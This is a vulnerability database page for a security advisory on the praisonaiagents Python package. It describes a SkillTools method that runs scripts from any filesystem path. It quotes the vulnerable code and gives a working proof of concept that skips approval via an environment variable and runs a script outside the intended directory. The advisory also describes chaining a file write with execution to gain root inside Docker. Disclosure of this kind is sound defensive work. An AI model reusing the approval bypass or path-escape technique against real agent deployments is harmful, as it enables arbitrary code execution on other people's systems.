GHSA-C44F-37QR-GW3F

Vulnerability from github – Published: 2026-10-08 16:49 – Updated: 2026-10-08 16:49
VLAI
Summary
PraisonAI: SkillTools Executes Scripts Without Path Containment Validation
Details

Summary

SkillTools.run_skill_script() accepts a script_path parameter and executes it via subprocess.run() without any path containment validation. While FileTools has _validate_path() with traversal detection, SkillTools performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The @require_approval decorator can be bypassed via YAML approve: for high-risk tools.

Details

src/praisonai-agents/praisonaiagents/tools/skill_tools.py (lines 69-119):

def run_skill_script(self, script_path: str, ...):
    script_path = os.path.expanduser(script_path)
    if not os.path.isabs(script_path):
        script_path = os.path.join(self._working_directory, script_path)
    script_path = os.path.abspath(script_path)

    if not os.path.exists(script_path):
        return f"Error: Script not found at {script_path}"

    # No path traversal check, no containment validation
    # Directly executes whatever is at that path:
    result = subprocess.run(cmd, ...)

By contrast, FileTools._validate_path() (src/praisonai-agents/praisonaiagents/tools/file_tools.py, lines 42-78) properly validates that the resolved path stays within the working directory:

def _validate_path(self, filepath: str) -> str:
    # ...
    cwd = os.path.abspath(os.getcwd())
    if os.path.commonpath([absolute, cwd]) != cwd:
        raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}")

SkillTools has no equivalent check.

PoC

import os, tempfile
from praisonaiagents.tools.skill_tools import SkillTools

# Create a "safe" working directory (the jail)
jail = tempfile.mkdtemp(prefix="skill_jail_")

# Create a malicious script OUTSIDE the jail
attack_script = os.path.join(tempfile.gettempdir(), "malicious_skill.sh")
with open(attack_script, 'w') as f:
    f.write("#!/bin/bash\n")
    f.write("echo \"PROOF_OF_EXPLOIT: Script executed outside jail\"\n")
    f.write("echo \"USER: $(whoami)\"\n")
    f.write("echo \"HOSTNAME: $(hostname)\"\n")
os.chmod(attack_script, 0o755)

# Bypass approval (simulates Docker env or YAML approve:)
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"

st = SkillTools()
st._working_directory = jail  # Pretend we're confined

# Run script from OUTSIDE the jail — no path validation!
result = st.run_skill_script(attack_script)
print(result)
# Output:
#   PROOF_OF_EXPLOIT: Script executed outside jail
#   USER: anushkavirgaonkar
#   HOSTNAME: Anushkas-MacBook-Pro-2.local

# Cleanup
del os.environ["PRAISONAI_AUTO_APPROVE"]
os.unlink(attack_script)
os.rmdir(jail)

Tested result: The script at /tmp/malicious_skill.sh executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including whoami and hostname. No path containment check exists — the absolute path is accepted and executed directly.

Impact

  • Arbitrary script execution: Run any script on the filesystem from any location
  • Chaining with file write: Write a malicious script via write_file (YAML-approvable as a high-risk tool), then execute it via run_skill_script
  • Root-level impact in Docker: All PraisonAI Docker containers run as root (no USER directive), so an escaped script runs with full root privileges
Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.77"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61443"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T16:49:23Z",
    "nvd_published_at": "2026-07-15T17:16:52Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`SkillTools.run_skill_script()` accepts a `script_path` parameter and executes it via `subprocess.run()` without any path containment validation. While `FileTools` has `_validate_path()` with traversal detection, `SkillTools` performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The `@require_approval` decorator can be bypassed via YAML `approve:` for high-risk tools.\n\n### Details\n`src/praisonai-agents/praisonaiagents/tools/skill_tools.py` (lines 69-119):\n\n```python\ndef run_skill_script(self, script_path: str, ...):\n    script_path = os.path.expanduser(script_path)\n    if not os.path.isabs(script_path):\n        script_path = os.path.join(self._working_directory, script_path)\n    script_path = os.path.abspath(script_path)\n\n    if not os.path.exists(script_path):\n        return f\"Error: Script not found at {script_path}\"\n\n    # No path traversal check, no containment validation\n    # Directly executes whatever is at that path:\n    result = subprocess.run(cmd, ...)\n```\n\nBy contrast, `FileTools._validate_path()` (`src/praisonai-agents/praisonaiagents/tools/file_tools.py`, lines 42-78) properly validates that the resolved path stays within the working directory:\n\n```python\ndef _validate_path(self, filepath: str) -\u003e str:\n    # ...\n    cwd = os.path.abspath(os.getcwd())\n    if os.path.commonpath([absolute, cwd]) != cwd:\n        raise ValueError(f\"Path traversal detected: {filepath} escapes workspace {cwd}\")\n```\n\n`SkillTools` has no equivalent check.\n\n### PoC\n\n```python\nimport os, tempfile\nfrom praisonaiagents.tools.skill_tools import SkillTools\n\n# Create a \"safe\" working directory (the jail)\njail = tempfile.mkdtemp(prefix=\"skill_jail_\")\n\n# Create a malicious script OUTSIDE the jail\nattack_script = os.path.join(tempfile.gettempdir(), \"malicious_skill.sh\")\nwith open(attack_script, \u0027w\u0027) as f:\n    f.write(\"#!/bin/bash\\n\")\n    f.write(\"echo \\\"PROOF_OF_EXPLOIT: Script executed outside jail\\\"\\n\")\n    f.write(\"echo \\\"USER: $(whoami)\\\"\\n\")\n    f.write(\"echo \\\"HOSTNAME: $(hostname)\\\"\\n\")\nos.chmod(attack_script, 0o755)\n\n# Bypass approval (simulates Docker env or YAML approve:)\nos.environ[\"PRAISONAI_AUTO_APPROVE\"] = \"true\"\n\nst = SkillTools()\nst._working_directory = jail  # Pretend we\u0027re confined\n\n# Run script from OUTSIDE the jail \u2014 no path validation!\nresult = st.run_skill_script(attack_script)\nprint(result)\n# Output:\n#   PROOF_OF_EXPLOIT: Script executed outside jail\n#   USER: anushkavirgaonkar\n#   HOSTNAME: Anushkas-MacBook-Pro-2.local\n\n# Cleanup\ndel os.environ[\"PRAISONAI_AUTO_APPROVE\"]\nos.unlink(attack_script)\nos.rmdir(jail)\n```\n\n**Tested result:** The script at `/tmp/malicious_skill.sh` executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including `whoami` and `hostname`. No path containment check exists \u2014 the absolute path is accepted and executed directly.\n\n\n### Impact\n- **Arbitrary script execution**: Run any script on the filesystem from any location\n- **Chaining with file write**: Write a malicious script via `write_file` (YAML-approvable as a high-risk tool), then execute it via `run_skill_script`\n- **Root-level impact in Docker**: All PraisonAI Docker containers run as root (no `USER` directive), so an escaped script runs with full root privileges",
  "id": "GHSA-c44f-37qr-gw3f",
  "modified": "2026-10-08T16:49:23Z",
  "published": "2026-10-08T16:49:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c44f-37qr-gw3f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61443"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62168"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-skilltools"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: SkillTools Executes Scripts Without Path Containment Validation"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.